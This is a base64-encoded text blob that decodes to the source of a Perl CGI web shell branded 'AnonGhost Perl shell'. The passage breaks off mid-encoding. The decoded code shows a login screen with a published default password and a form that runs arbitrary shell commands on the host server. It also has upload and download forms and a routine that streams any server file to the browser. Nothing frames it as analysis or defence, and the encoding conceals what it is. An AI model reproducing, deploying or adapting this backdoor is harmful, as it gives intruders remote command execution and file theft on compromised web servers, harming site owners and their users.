DQoNCjxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50PSJBbm9uR2hvc3QsQW5vbkdob3N0LEFub25HaG9zdC5pbmZvLGhhY2tlciI+DQo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iQW5vbkdob3N0LEFub25HaG9zdCxBbm9uR2hvc3QuaW5mbyxoYWNrZXIiPg0KPC9oZWFkPg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiNGRkZGRkYiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCIgdGV4dD0iI0ZGMDAwMCI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCjx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBib3JkZXJjb2xvcj0iI0ZGRkZGRiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjElIj4NCjxiPjxmb250IHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgd2lkdGg9Ijk4JSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+PGI+IA0KPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+QW5vbkdob3N0IFBlcmwgc2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPHByZT48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vaW1nODEwLmltYWdlc2hhY2sudXMvaW1nODEwLzgwNDMvQW5vbkdob3N0MTIucG5nIj48L3ByZT48YnI+PGJyPjwvZm9udD48aDE+RGVmYXVsdCBQYXNzd29yZD1naG9zdDwvaDE+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dDQo8Y29kZT4kTWVzc2FnZQ0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCjwvZm9udD4NCjxmb250IHNpemU9IjMiPg0KbG9naW46IDxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZmNjYiPkFub25HaG9zdCBQZXJsIHNoZWxsPC9iPjxicj4NCnBhc3N3b3JkOjwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlwcmludCA8PEVORDsNCjwveG1wPg0KDQo8Y29kZT4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4NCjxicj5LaWxsZWQgaXQhDQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCQ0KCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQiOw0KCX0NCgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kPHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KDQoJCSZQcmludFBhZ